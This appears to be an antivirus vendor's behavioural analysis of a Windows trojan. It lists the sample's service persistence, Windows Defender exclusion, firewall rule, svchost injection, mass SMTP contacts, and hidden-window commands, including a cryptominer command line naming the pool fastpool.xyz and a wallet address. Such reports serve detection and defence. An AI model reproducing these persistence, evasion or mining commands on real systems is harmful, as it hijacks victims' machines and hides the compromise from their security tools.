Trojan.Siggen18.46189

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\nncbpff] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\nncbpff] 'ImagePath' = '%WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\nncbpff] 'ImagePath' = '%WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe'

Creates the following services

'nncbpff' %WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe /d"<Full path to file>"
'nncbpff' %WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nncbpff' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ecaycgyz.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ecaycgyz.exe to %WINDIR%\syswow64\nncbpff\ecaycgyz.exe

Deletes itself.

Network activity

Connects to

'sv####lfheim.top':443
'mx###.comcast.net':25
'hs###2.cn4e.com':25
'fa###ool.xyz':10060
'hs####3.cn4e.com':25
'mx#####.ppe-hosted.com':25
'mx.###card.email':25
're######e.com.1.arsmtp.com':25
'ma###.cckh.com':25
'mx.#len.pl':25
'mx##.##il.icloud.com':25
'gm###.##m.1.0001.arsmtp.com':25
'wi##al.com':25
'mx##.mail.com':25
'pa####x.above.com':25
'ft#########x.email-protect.gosecure.net':25
'au##.net':25
'dr####fencing.com':25
'ar########rch.org.1.0001.arsmtp.com':25
'sp###.#ail.gandi.net':25
'mx####.##il.gm0.yahoodns.net':25
'10#.#8.138.44':443
'ma##.##areospace.com':25
'mx#######301.gslb.pphosted.com':25
'mx#######002.gslb.pphosted.com':25
'mx#######302.gslb.pphosted.com':25
'mx.##s.untd.com':25
'sm###0.cn4e.com':25
'mx#########st-2.prod.hydra.sophos.com':25
'mx#######502.gslb.pphosted.com':25
'mx#.##ckeyecom.net':25
'mx#.#ltibox.net':25
'po############es-com.mail.protection.outlook.com':25
'ma##.##ith-andover.org':25
'mx#.qq.com':25
'ca#######nbound-1.mimecast.com':25
'mx######82f01.pphosted.com':25
'ex######.hardingpost.com':25
'mx#.####perpageshosting.com':25
'mb####.mynet.com':25
'mx######90901.pphosted.com':25
'mx#######701.gslb.pphosted.com':25
'pu######3.mail2world.com':25
'ma##.#-email.net':25
'mx#######801.gslb.pphosted.com':25
'mx#.#xstorm.com':25
'nf##.###.2.0001.arsmtp.com':25
'mx#######e01.gslb.pphosted.com':25
'mt##.##0.yahoodns.net':25
'mx#######f02.gslb.pphosted.com':25
'mx.###nawood.com':25
'ei####.#x.a.cloudfilter.net':25
'mx##.#-online.de':25
'mx#.#ate.com':25
'mx#######601.gslb.pphosted.com':25
'dn#######stmx01.email.rr.com':25
'ma##.#oetast.com':25
'mx##.###us-vadesecure.net':25
'mx#######c01.gslb.pphosted.com':25
'ma##.###lied-info-mgmt.com':25
'mx#######501.gslb.pphosted.com':25
'mx##.#spgateway.de':25
'mx#######003.gslb.pphosted.com':25
'smtp.google.com':25
'li######.#lc.protection.outlook.com':25
'mx######71101.pphosted.com':25
'ma#####x.centrin.net.id':25
'mx#######101.gslb.pphosted.com':25
'cl######.us.messagelabs.com':25
'aspmx.l.google.com':25
'mx#######703.gslb.pphosted.com':25
'mx######91d01.pphosted.com':25
'mx#######d04.gslb.pphosted.com':25
'eu#.###.#rotection.outlook.com':25
'cu#######-1.in.mailcontrol.com':25
'mx#######b02.gslb.pphosted.com':25
'sm###.ppmh.org':25
'mx#######b01.gslb.pphosted.com':25
'mx#######702.gslb.pphosted.com':25
'mx#######201.gslb.pphosted.com':25
'mx#######001.gslb.pphosted.com':25
'ho#########.olc.protection.outlook.com':25
'17#.#13.115.158':481
'ma##.###wermechanical.com':25
'fo#########ress.com.1.0001.arsmtp.com':25
'mx#.#anmail.net':25
'hb##.###.mx1.hbci.rcimx.net':25
'mx##.##rnetsecurity.com':25
'mx#.###l.yahoo.co.jp':25
'my###.####l-protect.gosecure.net':25
'ma##.##ntralbank.com':25
'fr#####.#inamail.sina.com.cn':25
'mx#.#aver.com':25
'mi##########m.mail.protection.outlook.com':25
'pu######2.mail2world.com':25
'mx#######005.gslb.pphosted.com':25
'google.com':80
'17#.#13.115.157':425
'17#.#13.115.156':425
'80.#6.75.4':425
'17#.#13.115.155':425
'17#.#13.115.154':425
'17#.#13.115.153':425
'mx#######a01.gslb.pphosted.com':25
'mx#######d01.gslb.pphosted.com':25
'mx#######f01.gslb.pphosted.com':25
'mx###.m2bp.com':25
'mx#.###ound.socket.net':25
'mx.#in.net':25
'ss##.###.1.0001.arsmtp.com':25
'im####.netvigator.com':25
'gs########s.com.1.0001.arsmtp.com':25
'em##.freenet.de':25
'na#.###.#rotection.outlook.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'ar########rch.org.1.0001.arsmtp.com':25
'dr####fencing.com':25
'au##.net':25
'ft#########x.email-protect.gosecure.net':25
'pa####x.above.com':25
'mx#######302.gslb.pphosted.com':25
'gm###.##m.1.0001.arsmtp.com':25
're######e.com.1.arsmtp.com':25
'ma###.cckh.com':25
'mx.###card.email':25
'fa###ool.xyz':10060
'mx#####.ppe-hosted.com':25
'mx#.###ound.socket.net':25
'wi##al.com':25
'fo#########ress.com.1.0001.arsmtp.com':25
'mt##.##0.yahoodns.net':25
'nf##.###.2.0001.arsmtp.com':25
'mx#.#xstorm.com':25
'ma##.#-email.net':25
'mb####.mynet.com':25
'mx#.####perpageshosting.com':25
'ex######.hardingpost.com':25
'mx#.qq.com':25
'ca#######nbound-1.mimecast.com':25
'po############es-com.mail.protection.outlook.com':25
'mx#.#ltibox.net':25
'sp###.#ail.gandi.net':25
'alt1.aspmx.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'10#.#8.138.44':443
'ma##.#oetast.com':25
'ho#########.olc.protection.outlook.com':25
'eu#.###.#rotection.outlook.com':25
'aspmx.l.google.com':25
'smtp.google.com':25
'li######.#lc.protection.outlook.com':25
'cu#######-1.in.mailcontrol.com':25
'mx##.##rnetsecurity.com':25
'ma##.###lied-info-mgmt.com':25
'mx#.#anmail.net':25
'ma#####x.centrin.net.id':25
'hb##.###.mx1.hbci.rcimx.net':25
'gs########s.com.1.0001.arsmtp.com':25
'mx#########st-2.prod.hydra.sophos.com':25
'hs###2.cn4e.com':25
'ss##.###.1.0001.arsmtp.com':25
'80.#6.75.4':425
'17#.#13.115.153':425
'17#.#13.115.157':425
'17#.#13.115.155':425
'17#.#13.115.154':425
'17#.#13.115.156':425
'pu######2.mail2world.com':25
'mx#.#aver.com':25
'ma##.##ntralbank.com':25
'my###.####l-protect.gosecure.net':25
'mx#.###l.yahoo.co.jp':25
'fr#####.#inamail.sina.com.cn':25
'17#.#13.115.158':481
'mx###.m2bp.com':25
'na#.###.#rotection.outlook.com':25

UDP

DNS ASK sv####lfheim.top
DNS ASK ch###legong.com
DNS ASK hs###2.cn4e.com
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK wi##al.com
DNS ASK ch#####apemeasure.com
DNS ASK sm###0.cn4e.com
DNS ASK dm###arris.com
DNS ASK fo####angepress.com
DNS ASK fo#########ress.com.1.0001.arsmtp.com
DNS ASK ca####lumber.com
DNS ASK ib###kinson.com
DNS ASK mx##.#-online.de
DNS ASK ne###ape.net
DNS ASK cs.com
DNS ASK ch###wood.com
DNS ASK mx.###nawood.com
DNS ASK go####.indigo.ie
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK tr####hgroup.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK ro###tmail.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK mo##xpn.com
DNS ASK hs####3.cn4e.com
DNS ASK fa###ool.xyz
DNS ASK ch####ailong.com
DNS ASK mx#####.ppe-hosted.com
DNS ASK de##abk.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK ar####esearch.org
DNS ASK ar########rch.org.1.0001.arsmtp.com
DNS ASK ze###nergy.com
DNS ASK dr####fencing.com
DNS ASK au##.net
DNS ASK ft##i.net
DNS ASK ft#########x.email-protect.gosecure.net
DNS ASK sp###tmail.com
DNS ASK te###orm.com
DNS ASK pa####x.above.com
DNS ASK bo###ores.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK t-##line.de
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK gm##l.com
DNS ASK gm###.##m.1.0001.arsmtp.com
DNS ASK ic##ud.com
DNS ASK mx##.##il.icloud.com
DNS ASK o2.pl
DNS ASK mx.#len.pl
DNS ASK ch##ook.com
DNS ASK ma###.cckh.com
DNS ASK re###xite.com
DNS ASK re######e.com.1.arsmtp.com
DNS ASK di###rdmail.com
DNS ASK mx.###card.email
DNS ASK ce###deal.com
DNS ASK mx#######302.gslb.pphosted.com
DNS ASK gl####rotter.net
DNS ASK nf##.org
DNS ASK nf##.###.2.0001.arsmtp.com
DNS ASK fa####andover.org
DNS ASK ma##.##ith-andover.org
DNS ASK vp.com
DNS ASK ve##zon.net
DNS ASK ce####soft.co.uk
DNS ASK ab##tt.com
DNS ASK po#####tionsales.com
DNS ASK po############es-com.mail.protection.outlook.com
DNS ASK sj###tans.org
DNS ASK ly##.net
DNS ASK mx#.#ltibox.net
DNS ASK we##ush.com
DNS ASK ae#.com
DNS ASK mx#.##ckeyecom.net
DNS ASK br###court.com
DNS ASK cr##.org
DNS ASK hu##ell.com
DNS ASK mx#######502.gslb.pphosted.com
DNS ASK az##p.com
DNS ASK mx#########st-2.prod.hydra.sophos.com
DNS ASK br#####echanical.com
DNS ASK ma##.###wermechanical.com
DNS ASK mp##z.org
DNS ASK wi###wslive.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK ba##o.com
DNS ASK uu##c.co.uk
DNS ASK ws##-tv.com
DNS ASK an##nc.com
DNS ASK mx######90901.pphosted.com
DNS ASK ny#.org
DNS ASK sc##lle.com
DNS ASK fg##ail.net
DNS ASK mx#.#xstorm.com
DNS ASK po###wise.com
DNS ASK as####fjrmail.net
DNS ASK te###ata.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK pr###gy.net.mx
DNS ASK pu######3.mail2world.com
DNS ASK ko###kmail.com
DNS ASK wa##co.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK st###farm.com
DNS ASK qq.com
DNS ASK th####nnerguys.com
DNS ASK mx#.####perpageshosting.com
DNS ASK my##t.com
DNS ASK mb####.mynet.com
DNS ASK ha###ngpost.com
DNS ASK ex######.hardingpost.com
DNS ASK su#.com
DNS ASK ve#####buccaneers.com
DNS ASK gw#.ca
DNS ASK mx######82f01.pphosted.com
DNS ASK li#e.be
DNS ASK ma###alty.com
DNS ASK ca#######nbound-1.mimecast.com
DNS ASK mx#.qq.com
DNS ASK be#.net
DNS ASK sp###.#ail.gandi.net
DNS ASK ma##.#oetast.com
DNS ASK ma#####x.centrin.net.id
DNS ASK ee##.#arvard.edu
DNS ASK mx######71101.pphosted.com
DNS ASK li##.com
DNS ASK li######.#lc.protection.outlook.com
DNS ASK we###fargo.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK google.com
DNS ASK smtp.google.com
DNS ASK al###gruss.info
DNS ASK mx##.#spgateway.de
DNS ASK am###trade.com
DNS ASK ta##et.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK ma##.###lied-info-mgmt.com
DNS ASK at####iation.com
DNS ASK mx##.##rnetsecurity.com
DNS ASK at#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK av##thia.de
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK ju##.com
DNS ASK mx.##s.untd.com
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK ce###in.net.id
DNS ASK eu#.##owncork.com
DNS ASK cl######.us.messagelabs.com
DNS ASK un####country.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK sc####althplan.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK pp##.org
DNS ASK sm###.ppmh.org
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK re####enational.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK zy##a.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK ad#.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK gs###surors.com
DNS ASK wn##.net
DNS ASK su###ust.com
DNS ASK tr###mark.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK kp.org
DNS ASK mx#######703.gslb.pphosted.com
DNS ASK li#e.dk
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ai#.com
DNS ASK mx#######d04.gslb.pphosted.com
DNS ASK mt#.pl
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK te###planet.net
DNS ASK aspmx.l.google.com
DNS ASK ho##ail.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK gs########s.com.1.0001.arsmtp.com
DNS ASK hb##.com
DNS ASK hb##.###.mx1.hbci.rcimx.net
DNS ASK mx#.#aver.com
DNS ASK si##.com
DNS ASK fr#####.#inamail.sina.com.cn
DNS ASK ce###albank.com
DNS ASK ma##.##ntralbank.com
DNS ASK dy##ma.com
DNS ASK gl###lhca.com
DNS ASK my###.####l-protect.gosecure.net
DNS ASK ya##o.co.jp
DNS ASK mx#.###l.yahoo.co.jp
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK so##ast.com
DNS ASK ho###on.rr.com
DNS ASK bl#####roduction.com
DNS ASK dn#######stmx01.email.rr.com
DNS ASK qc##.com
DNS ASK mx#######002.gslb.pphosted.com
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK su##oke.com
DNS ASK hu##na.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK pu###ail.com
DNS ASK ma##.##areospace.com
DNS ASK sb#.com
DNS ASK ao#.de
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK na##r.com
DNS ASK st##art.com
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK ch##.com
DNS ASK ne###gator.com
DNS ASK im####.netvigator.com
DNS ASK ss##.net
DNS ASK ss##.###.1.0001.arsmtp.com
DNS ASK ti#.net
DNS ASK mx.#in.net
DNS ASK so##et.net
DNS ASK mx#.###ound.socket.net
DNS ASK ho###olar.com
DNS ASK mx###.m2bp.com
DNS ASK sa#.edu
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK as#.edu
DNS ASK be###outh.com
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK ws##le.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK pr####omesales.com
DNS ASK al###ate.com
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK ma###world.com
DNS ASK pu######2.mail2world.com
DNS ASK mc#.edu
DNS ASK kb#.at
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK ha###ury.ac.uk

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\nncbpff\ecaycgyz.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nncbpff\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ecaycgyz.exe" %WINDIR%\SysWOW64\nncbpff\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create nncbpff binPath= "%WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description nncbpff "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start nncbpff' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nncbpff\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ecaycgyz.exe" %WINDIR%\SysWOW64\nncbpff\
'%WINDIR%\syswow64\sc.exe' create nncbpff binPath= "%WINDIR%\SysWOW64\nncbpff\ecaycgyz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description nncbpff "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start nncbpff
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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Technical Information

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